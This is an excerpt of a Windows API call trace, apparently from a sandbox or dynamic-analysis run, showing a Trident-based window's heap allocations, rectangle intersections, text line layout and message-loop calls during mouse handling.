[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.038] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.038] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.038] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.038] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.038] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.038] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.039] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.039] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.039] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.039] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.039] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.039] LsSetDoc () returned 0x0
[0117.039] LsCreateLine () returned 0x0
[0117.039] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.039] LsDestroyLine () returned 0x0
[0117.039] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.039] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.039] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.040] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.040] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.040] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.040] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.040] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.040] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.040] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.040] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.040] LsSetDoc () returned 0x0
[0117.040] LsCreateLine () returned 0x0
[0117.040] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.040] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.041] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] LsdnFinishRegular () returned 0x0
[0117.041] LsQueryLinePointPcp () returned 0x0
[0117.041] LsDestroyLine () returned 0x0
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.041] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.041] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.042] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.042] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.042] GetCurrentThreadId () returned 0x4e0
[0117.042] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.042] NtdllDefWindowProc_W () returned 0x0
[0117.042] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.042] GetCurrentThreadId () returned 0x4e0
[0117.042] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.042] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.042] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.042] GetCurrentThreadId () returned 0x4e0
[0117.042] GetCurrentThreadId () returned 0x4e0
[0117.042] GetCurrentThreadId () returned 0x4e0
[0117.043] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.043] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.043] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.043] GetCapture () returned 0x0
[0117.043] WindowFromPoint (Point=0x31f) returned 0x1013a
[0117.043] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.043] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0117.043] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0117.043] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0117.043] GetCurrentThreadId () returned 0x4e0
[0117.043] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.044] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.044] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.044] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.044] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.044] GetCurrentThreadId () returned 0x4e0
[0117.044] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.044] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.044] GetMessageTime () returned 43118
[0117.044] GetMessagePos () returned 0x1c4031f
[0117.044] GetCapture () returned 0x0
[0117.045] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.045] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.045] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.045] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.046] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.046] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.046] LsSetDoc () returned 0x0
[0117.046] LsCreateLine () returned 0x0
[0117.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.046] LsDestroyLine () returned 0x0
[0117.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.046] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.046] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.047] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.047] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.047] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.047] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.047] LsSetDoc () returned 0x0
[0117.047] LsCreateLine () returned 0x0
[0117.047] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.047] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.047] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.047] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.047] LsdnFinishRegular () returned 0x0
[0117.047] LsQueryLinePointPcp () returned 0x0
[0117.048] LsDestroyLine () returned 0x0
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.048] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.048] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.048] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.048] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.048] GetCursor () returned 0x10005
[0117.048] GetCurrentThreadId () returned 0x4e0
[0117.048] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.048] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.048] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.049] GetMessageTime () returned 43118
[0117.049] GetMessagePos () returned 0x1c4031f
[0117.049] GetCapture () returned 0x0
[0117.049] GetCurrentThreadId () returned 0x4e0
[0117.049] GetCurrentThreadId () returned 0x4e0
[0117.049] GetCurrentThreadId () returned 0x4e0
[0117.049] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.049] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.049] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.049] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.049] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.049] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.049] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.049] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.050] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.050] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.050] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.050] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.050] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.050] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.050] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.050] LsSetDoc () returned 0x0
[0117.050] LsCreateLine () returned 0x0
[0117.050] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.050] LsDestroyLine () returned 0x0
[0117.050] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
